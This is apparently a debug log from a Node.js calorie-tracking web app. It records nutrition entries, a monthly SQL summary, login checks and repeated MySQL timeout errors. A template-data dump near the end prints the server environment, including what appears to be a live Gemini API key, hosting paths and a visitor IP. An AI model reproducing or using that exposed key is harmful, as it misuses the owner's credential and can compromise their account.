    skip_reason: "Ladoo is typically high in sugar and ghee (saturated fat), offering a significant calorie load with limited protein for muscle building. It's an indulgence rather than a functional food for your goals."
  },
  {
    id: 499,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'Makhana',
    calories: 70,
    protein_gm: 2,
    carbs_gm: 14,
    fat_gm: 0,
    quantity: '20 gm',
    replacements: 'Plain roasted chickpeas,Air-popped popcorn (no butter/oil),Cucumber slices',
    created_at: '2025-12-23T07:04:02.000Z',
    skip_level: 1,
    skip_reason: "Makhana is a good source of complex carbohydrates and some fiber, and it's low in fat. It can be a decent snack, especially if roasted without excessive oil or spices. Good for sustained energy."
  }
]
2025-12-23T13:00:34.583Z server-connect:app Executing action step setvalue
2025-12-23T13:00:34.583Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-23T13:00:34.583Z server-connect:output var_total: 1052
2025-12-23T13:00:34.583Z server-connect:app Executing action step setvalue
2025-12-23T13:00:34.583Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-23T13:00:34.584Z server-connect:output var_consumed: 44
2025-12-23T13:00:34.584Z server-connect:app Executing action step setvalue
2025-12-23T13:00:34.584Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-23T13:00:34.584Z server-connect:output var_deficit: 1348
2025-12-23T13:00:34.584Z server-connect:app Executing action step custom
2025-12-23T13:00:34.584Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-23T13:00:34.586Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  }
]
2025-12-23T13:00:35.143Z server-connect:app Executing action step identify
2025-12-23T13:00:35.143Z server-connect:app options: { provider: 'security' }
2025-12-23T13:00:35.144Z server-connect:output identity: 1
2025-12-23T13:10:00.236Z server-connect:app Executing action step identify
2025-12-23T13:10:00.236Z server-connect:app options: { provider: 'security' }
2025-12-23T13:10:00.236Z server-connect:output identity: 1
2025-12-23T13:10:01.700Z server-connect:app Executing action step identify
2025-12-23T13:10:01.700Z server-connect:app options: { provider: 'security' }
2025-12-23T13:10:01.700Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 13:27:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 13:27:30' as DATETIME)"
}
2025-12-23T13:31:29.251Z server-connect:app Executing action step identify
2025-12-23T13:31:29.251Z server-connect:app options: { provider: 'security' }
2025-12-23T13:31:29.251Z server-connect:output identity: 1
2025-12-23T13:31:31.755Z server-connect:app Executing action step identify
2025-12-23T13:31:31.755Z server-connect:app options: { provider: 'security' }
2025-12-23T13:31:31.755Z server-connect:output identity: 1
2025-12-23T13:32:05.039Z server-connect:app Executing action step identify
2025-12-23T13:32:05.039Z server-connect:app options: { provider: 'security' }
2025-12-23T13:32:05.039Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 14:38:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 14:38:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 14:38:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 14:38:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 14:42:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 14:42:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 15:11:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 15:11:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 15:11:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 15:11:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 16:00:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 16:00:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 16:38:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 16:38:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 17:57:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 17:57:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 19:01:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 19:01:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 19:37:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 19:37:56' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 21:04:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 21:04:31' as DATETIME)"
}
2025-12-23T21:19:04.952Z server-connect:router Serving templateView /
2025-12-23T21:19:04.953Z server-connect:app Executing action step identify
2025-12-23T21:19:04.953Z server-connect:app options: { provider: 'security' }
2025-12-23T21:19:04.954Z server-connect:auth No login cookie found
2025-12-23T21:19:04.954Z server-connect:output identity: false
2025-12-23T21:19:04.954Z server-connect:app Executing action step restrict
2025-12-23T21:19:04.954Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T21:19:04.954Z server-connect:output restrict: undefined
2025-12-23T21:19:05.054Z server-connect:router Serving templateView /login
2025-12-23T21:19:05.054Z server-connect:app Executing action step identify
2025-12-23T21:19:05.054Z server-connect:app options: { provider: 'security' }
2025-12-23T21:19:05.054Z server-connect:auth No login cookie found
2025-12-23T21:19:05.054Z server-connect:output identity: false
2025-12-23T21:19:05.055Z server-connect:router Render template layouts/authentication
2025-12-23T21:19:05.055Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.239.214.15',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T21:19:05.054Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.239.214.15',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.239.214.15',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 21:28:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
